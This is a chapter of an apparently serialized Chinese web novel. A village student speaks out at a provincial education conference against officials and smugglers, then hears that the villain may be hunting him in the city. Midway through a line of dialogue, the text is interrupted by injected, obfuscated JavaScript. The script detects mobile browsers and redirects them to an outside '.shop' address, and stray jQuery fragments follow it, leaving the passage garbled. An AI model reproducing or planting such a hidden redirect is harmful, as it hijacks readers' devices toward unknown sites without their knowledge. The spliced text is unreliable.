15. 第十五章 台上十分钟

作品:《青石往事

    省教育学会年会的会场设在省立图书馆的演讲厅。这是一座西式建筑,穹顶高阔,大理石柱子上雕刻着卷草纹。上午九点,厅里已经坐满了人。前排是教育厅的官员、各大校长、社会名流,穿着长衫或西装,正襟危坐。后排是各学堂的教师代表,低声交谈着。


    张静轩坐在侧幕的椅子上,透过幕布的缝隙往外看。水生紧挨着他,小手攥着他的衣角,手心全是汗。赵哥站在他们身后,手插在口袋里,目光警惕地扫视着四周。


    “静轩哥,”水生小声说,“好多人……”


    “嗯。”张静轩应了一声。确实很多人,怕是有两三百。这是他第一次在这么多人面前说话。紧张吗?有一点。但更多的是一种奇异的平静——就像拉弓时,箭在弦上,心反而定了。


    李教授从前面走过来,手里拿着议程表:“静轩,你是第三个发言。前面是教育厅郑副厅长致辞,然后是省立一中校长做年度报告。到你的时候,我会介绍。”


    “郑副厅长?”张静轩心头一动。那个卡拨款的郑副厅长?


    “对。”李教授压低声音,“他今天肯定要说些冠冕堂皇的话,什么‘教育救国’‘启智新民’之类。你听了,别往心里去。”


    张静轩点头。他明白李教授的意思——官话归官话,实事归实事。


    十点整,年会开始。一个穿长袍马褂的主持人上台,敲了敲铃,厅内安静下来。接着,一个五十来岁、戴着金丝眼镜的中年人走上讲台——正是郑副厅长。


    郑副厅长的致辞果然如李教授所料,洋洋洒洒,引经据典,从孔夫子讲到蔡元培,从“有教无类”讲到“教育平等”。台下不时响起掌声,但张静轩听得出,那掌声多是礼节性的。


    “……故我辈教育工作者,当以启民智、育新人为己任,虽九死其犹未悔!”郑副厅长最后一句提得很高,手臂一挥,颇有气势。


    掌声雷动。郑副厅长微微颔首,走下台,经过侧幕时,目光在张静轩身上停留了一瞬,又移开了。那眼神,平静无波,像看一件无关紧要的摆设。


    接下来是省立一中校长的报告。校长是个清瘦的老者,说话慢条斯理,讲的是学校这一年的成绩——多少学生考上大学,多少教师在学术期刊发表文章,多少经费用于购置实验器材。数据详实,但听得人昏昏欲睡。


    张静轩看着台下。有人在本子上记着什么,有人悄悄打哈欠,有人交头接耳。这就是省城教育界的顶尖聚会?和他想象的不太一样——少了几分热血,多了几分程式。


    终于,主持人宣布:“下面,有请青石镇新式学堂的学生代表,张静轩同学发言。他发言的题目是——《一所乡村学堂的坚守》。”


    厅内响起稀稀拉拉的掌声。张静轩深吸一口气,走上讲台。


    讲台很高,他个子不算矮,但站在那儿,仍觉得台下的人都在仰视着他——或者说,在审视着他。灯光很亮,照得他有些睁不开眼。他能感觉到几百道目光,像细密的针,扎在身上。


    他定了定神,开口:“诸位先生,诸位师长。我是青石镇新式学堂的学生,张静轩。”


    声音通过麦克风传出去,在空旷的大厅里回荡。他自己的声音,听起来有些陌生。


    “青石镇是个小镇,在青云河边,离省城一百八十里。镇上有一千多户人家,大半务农,小半做小生意。三年前,镇上办起了第一所新式学堂。办学的人,是我的父亲,还有镇上的几位乡绅。”


    他停顿了一下,目光扫过台下。有些人抬起头,似乎有了点兴趣。


    “办学不容易。第一年,只有十二个学生,都是男孩。第二年,开了女班,多了八个女孩。先生是省城师范学堂毕业的,一男一女,男的教国文修身,女的教算学格致。束脩不多,但他们教得很用心。”


    他讲起学堂的日常:清晨的钟声,孩子们的读书声,苏宛音在黑板上写字时的侧影,程秋实讲《满江红》时的激昂。讲得平静,但那些画面,随着他的叙述,在厅里慢慢铺开。


    “但是,办学遇到了困难。”他话锋一转,“有人往学堂后墙泼粪,有人在夜里扔石头,有人散布谣言,说学堂教坏孩子,说女先生不守妇道。还有人,在省教育厅卡住了我们的拨款,说我们‘手续不全’‘资质可疑’。”


    台下开始窃窃私语。有人皱眉,有人摇头,有人面无表情。


    “我们想不明白。”张静轩继续说,“一所乡下学堂,教孩子识字算数,教他们做人的道理,为什么就这么难?后来我们才知道,阻挠我们的人,不只因为守旧,还因为利益——他们在走私军火烟土,还在拐卖人口。学堂启民智,百姓开了眼,他们的勾当就藏不住了。”


    这话像一块石头扔进平静的湖面。台下骚动起来。郑副厅长的脸色变了变,但很快恢复平静。


    张静轩从怀里掏出那本《青石镇新式学堂办学记》,举起:“这是一位记者写的,关于我们学堂的书。里面记录了这三年来,青石镇发生的事——有黑暗,也有光明;有破坏,也有坚守。”


    他翻开书,念了一段:“‘在青石镇,我看到了中华民国乡村的希望。那里的人们,用最朴实的方式,守护着教育的火种。那火种很小,但很亮,足以照亮一片黑暗。’”


    念完,他合上书,看着台下:“诸位师长,我们青石镇学堂,要的不多。我们只要一个公道——凭什么那些作恶的人可以逍遥法外,而我们这些想办点好事的人,却要处处受制?凭什么省里的拨款,可以一拖再拖,而那些被拐卖的人,却再也回不了家?”


    他的声音不高,但字字清晰,像钉子,一颗颗钉进空气里。


    台下鸦雀无声。


    “我今天站在这里,不是来诉苦,也不是来讨钱。”张静轩说,“我是来告诉诸位,在中华民国,在民国,在无数像青石镇这样的小地方,还有人在坚持——坚持办学,坚持启智,坚持相信,这个国家会变好。”


    他顿了顿,最后说:“我的大哥在前线打仗,他说,他在用枪保卫这片山河。我在学堂读书,我说,我在用笔,用声音,保卫这片山河的未来。我们兄弟俩,一个在前线,一个在后方,做的是同一件事——让这片土地上的人,活得像人。”


    说完,他微微鞠躬,走下讲台。


    静。


    厅里静得能听见远处街市的隐约喧嚣。


    然后,掌声响起来——先是后排几位年轻教师开始拍手,接着像涟漪荡开,越来越多的人加入。张静轩看见前排那位戴金丝眼镜的校长微微摇头,与邻座低声说了句什么;几位官员面无表情地低头记录;但更多的眼睛亮起来,有人摘下眼镜擦拭,有人挺直了脊背。


    掌声持续了很久,直到主持人上台示意才渐渐停歇。


    李教授在侧幕看着他,眼里有泪光。


    张静轩回到侧幕,水生扑上来抱住他:“静轩哥,你说得太好了!”


    赵哥拍了拍他的肩:“小子,有种。”


    郑副厅长脸色铁青,但在一片掌声中,他也只好跟着拍手。


    接下来的议程,张静轩没怎么听。他坐在那儿,手心全是汗,但心里很畅快。那些话,憋了太久,终于说了出来。至于结果如何,他已经不在意了。


    年会结束时,不少人围过来。有校长握着他的手说:“孩子,你说得好。我们学校,愿意跟你们青石镇学堂结成姊妹学校。”有教师说:“我要去你们那儿看看,取取经。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140657|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”还有记者挤过来,要采访。


    张静轩一一回应,不卑不亢。水生跟在他身边,挺着小胸脯,像只骄傲的小公鸡。


    李教授最后走过来,低声说:“静轩,你今天……可能会惹麻烦。”


    “我知道。”张静轩点头,“但不说,麻烦更大。”


    李教授看着他,叹了口气:“你比你父亲……更像你爷爷。当年你爷爷从关外逃难来时,也是这般——话不多,但句句在理,句句硬气。”


    这是张静轩第一次听外人说起爷爷的事。他忽然想起父亲书房里那幅《山河图》,想起爷爷带着一把弓南逃的故事。


    “谢谢教授。”他说。


    从图书馆出来,天已近黄昏。省城的街道华灯初上,电车叮叮当当地开过。张静轩走在人群里,觉得脚步很轻——不是身体轻,是心里轻。那些压了很久的东西,终于卸下了。


    回到客栈,福伯已经备好了饭。四人围桌坐下,水生兴奋地讲着会上的事,比手画脚。卢明远听着,眼睛越来越亮。


    “静轩,”他说,“你今天这一说,省城教育界要震动了。”


    “震动不震动,另说。”张静轩夹了一筷子菜,“但话说了,心里舒坦。”


    正吃着,赵哥从外面进来,脸色凝重:“刚接到消息,陈继业……可能来省城了。”


    筷子停在半空。


    “什么?”卢明远站起来,“他怎么敢……”


    “狗急跳墙。”赵哥说,“你们今天在年会上的发言,肯定传到他耳朵里了。他怕你们再挖出什么,想来……灭口。”


    张静轩放下筷子:“他现在在哪儿?”


    “不知道。”赵哥摇头,“但我们的人在车站、码头都布置了,一有消息就动手。”他顿了顿,“这几天,你们别出门。等抓到他,再走。”


    不出门?可他们来省城,不是为了躲的。


    “年会的事还没完。”张静轩说,“明天,还有几个学堂要去拜访。”


    “太危险了。”福伯开口,“小少爷,这次得听赵哥的。”


    张静轩沉默。他明白福伯的担心,也明白赵哥的好意。但就这样躲着?他不甘心。


    “这样吧,”他说,“明天我们不出门,但可以去拜访隔壁的客栈——那儿住着几位从邻县来的教师,也是来开年会的。就在客栈里谈,总可以吧?”


    赵哥想了想,点头:“那行。我跟着。”


    计划就这么定了。夜里,张静轩躺在床上,却睡不着。陈继业要来省城?他胆子真大。但转念一想,也对——一个连拐卖人口都敢做的人,还有什么不敢?


    他想起茶棚里那几个汉子,想起那辆冲出来的汽车,想起马三那张凶恶的脸。这些碎片,在黑暗里拼凑出陈继业的模样——一个为了利益,什么都敢做的恶徒。


    这样的人,必须抓住。


    他坐起身,点亮灯,摊开纸笔。该给沈特派员写封信了。


    “沈叔叔台鉴:今日在教育学会年会发言,已陈青石镇事。闻陈继业或来省城,心甚忧。此獠不除,青石镇难安,学堂难安。盼速擒之,以正国法。静轩谨上。”


    信写得很短。他吹干墨迹,折好,放在枕边。明天托赵哥送去。


    吹熄灯,重新躺下。窗外的省城依然喧嚣,但张静轩觉得,那喧嚣里,多了些别的东西——或许是变革的气息,或许是希望的火苗。


    他知道,从今天起,青石镇学堂的名字,会在省城教育界传开。会有更多的人知道,在青云河边,有那么一群人在坚持办学,启民智,抗黑暗。


    这,就够了。


    至于陈继业,至于那些阻挠,至于省厅的拨款……路还长,慢慢走。